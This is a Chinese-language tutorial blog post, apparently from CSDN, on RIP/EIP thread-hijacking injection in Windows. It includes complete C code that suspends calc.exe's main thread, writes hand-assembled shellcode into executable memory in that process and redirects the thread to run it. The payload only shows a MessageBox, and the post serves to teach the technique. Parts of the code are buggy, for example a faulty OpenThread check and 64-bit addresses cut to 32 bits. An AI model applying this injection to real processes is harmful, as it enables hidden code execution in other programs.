RIP/EIP 注入

高手请飘过~~~~~~~~~~~~~~~~~

RIP --- x64体系
EIP --- x86体系


RIP/EIP注入原理:
    1 挂起目标线程,需要用到 SuspendThread 函数
    2 挂起之后获取目标线程的上下文,需要用到 GetThreadContext函数
      这个函数可以获得一个CONTEXT结构体封装的数据。这个结构体的定义在winnt.h头文件中
      结构体里面存储了当前线程的上下文信息,比如当前线程的RIP/EIP在哪里,通用寄存器的值是
      多少等等。
    3 RIP/EIP注入关键就是修改Context中的RIP/EIP寄存器。使得要执行的代码强制跳转到我们
      指定的代码。最后将上下文设置回去,这用到 SetThreadContext 函数,最后执行ResumeThread
      函数,将挂起线程恢复执行。
      
难点:
    1 位置无关代码编写,为什么要位置无关这里不再多说了。
    2 要注意函数栈对齐问题,其实我这个问题也没太搞明白,
      总之就是栈没对齐,我的例子代码在调用MessageBox时会报错,详细情况看shellcode的注释
      有懂得希望留言,指教一二。

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>


#include "D:\\VS\\DllToInject\\DllToInject\\Utils.h"

#pragma comment(lib, "D:\\VS\\DllToInject\\x64\\Release\\UtilDll.lib")

CHAR shellcode[] = {
	0x68, 0x78, 0x56, 0x34, 0x12,		//push org rip (这里需要修复成原来的rip,暂时用0x12345678占位 见FixShellCode) 

	0x41, 0x51,							//push r9
	0x41, 0x50,							//push r8
	0x52,								//push rdx
	0x51,								//push rcx
	0x50,								//push rax

	0x48, 0x83, 0xEC, 0x28,				//sub rsp, 28  这个代码不加调用MessageBox会莫名其妙出错,好像是x64需要栈 mod 16对齐

	0x41, 0xB9, 0x00, 0x00, 0x00, 0x00, //mov r9d,0
	0x41, 0xB8, 0x00, 0x00, 0x00, 0x00, //mov r8d,0
	0xBA, 0x00, 0x00, 0x00, 0x00,		//mov edx,0
	0xB9, 0x00, 0x00, 0x00, 0x00,		//mov ecx,0
	0xB8, 0x78, 0x56, 0x34, 0x12,		//mov eax, messagebox (这里需要修复成Messagebox的地址,暂时用0x12345678占位 见FixShellCode)
	0xFF, 0xD0,							//call rax

	0x48, 0x83, 0xC4, 0x28,				//add rsp, 28 平衡栈,很简单

	0x58,								//pop rax
	0x59,								//pop rcx
	0x5A,								//pop rdx
	0x41, 0x58,							//pop r8
	0x41, 0x59,							//pop r9

	0xC3								//ret 返回到原来的Rip, 这里很关键
};

//修复shellcode中的两处绝对地址
//oldRip 线程挂起前的RIP
//pfn Messagebox的地址
//偷懒起见, 这里利用for循环找0x12345678,找到了就修复,否则需要去数数比较麻烦
void FixShellCode(DWORD oldRip, DWORD pfn){
	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = oldRip;//修复RIP
			break;
		}
	}

	for (int i = 0; i < sizeof(shellcode); ++i){
		if (*(DWORD *)(shellcode + i) == 0x12345678){
			*(DWORD *)(shellcode + i) = pfn;//修复messagebox的地址
			break;
		}
	}

}



int _tmain(int argc, _TCHAR* argv[])
{
	if (!AdjustProcessTokenPrivilege()){
		printf("提权失败\n");
	}

	DWORD dwPid = GetPidByName("calc.exe");
	if (dwPid == 0){
		printf("GetPidByName failed\n");
		return -1;
	}
	printf("calc.exe pid=%d\n", dwPid);

	DWORD dwThreadId = GetMainThread(dwPid);
	printf("calc main thread id = %d\n", dwThreadId);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	if (hProcess == NULL)
	{
		MyOutputDebugString("打开进程失败!!!!");
		return -1;
	}

	//打开目标主线程
	HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);

	if (!OpenThread)
	{
		printf("OpenThread 失败");
		goto SAFE_EXIT;
	}

	//挂起目标主线程
	DWORD bRet = SuspendThread(hThread);
	if (bRet == -1)
	{
		printf("SuspendThread 失败");
		goto SAFE_EXIT;
	}

	CONTEXT oldContext = { 0 };
	CONTEXT newContext = { 0 };
	DWORD dwOldEip = 0;

	oldContext.ContextFlags = CONTEXT_FULL;
	bRet = GetThreadContext(hThread, &oldContext);
	if (!bRet)
	{
		printf("GetThreadContext 失败");
		goto SAFE_EXIT;
	}
	newContext = oldContext;

	//两个函数地址的差值就是shellcode代码的大小,可能会有一些多的对齐数据,但是不影响
	DWORD funcSize = sizeof(shellcode);
	printf("shellcode size =%d\n", funcSize);
	FixShellCode(oldContext.Rip, (DWORD)MessageBox);

	//1.在远程进程中分配内存,可读可写可执行
	LPVOID pszRemoteBuffer = (char *)VirtualAllocEx(hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (pszRemoteBuffer == NULL)
	{
		printf("申请远程空间失败");
		CloseHandle(hProcess);
		return -1;
	}

	printf("buffer = %p\n", pszRemoteBuffer);

	//2.在远程申请的内存空间中写入shellcode
	SIZE_T dwWriten = 0;
	if (!WriteProcessMemory(hProcess, pszRemoteBuffer, shellcode, funcSize, &dwWriten))
	{
		printf("写入shellcode失败");
		CloseHandle(hProcess);
		VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
		return -1;
	}

	printf("shellcode write bytes:%d\n", dwWriten);

#ifdef _WIN64
	newContext.Rip = (DWORD)pszRemoteBuffer;
	//dwOldEip = newContext.Rip;
#else 
	newContext.Eip = (DWORD)g_lpBuffer;
	//dwOldEip = newContext.Eip;
#endif

	bRet = SetThreadContext(hThread, &newContext);
	if (!bRet)
	{
		printf("SetThreadContext 失败");
		goto SAFE_EXIT;
	}


	//然后把主线程跑起来
	bRet = ResumeThread(hThread);
	if (bRet == -1)
	{
		printf("ResumeThread 失败");
		goto SAFE_EXIT;
	}

	//等shellcode运行完毕,然后再释放内存 VirtualFreeEx
	Sleep(3000);

SAFE_EXIT:

	if (hThread){
		CloseHandle(hThread);
	}

	
	VirtualFreeEx(hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
	CloseHandle(hProcess);

	return 0;
}

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值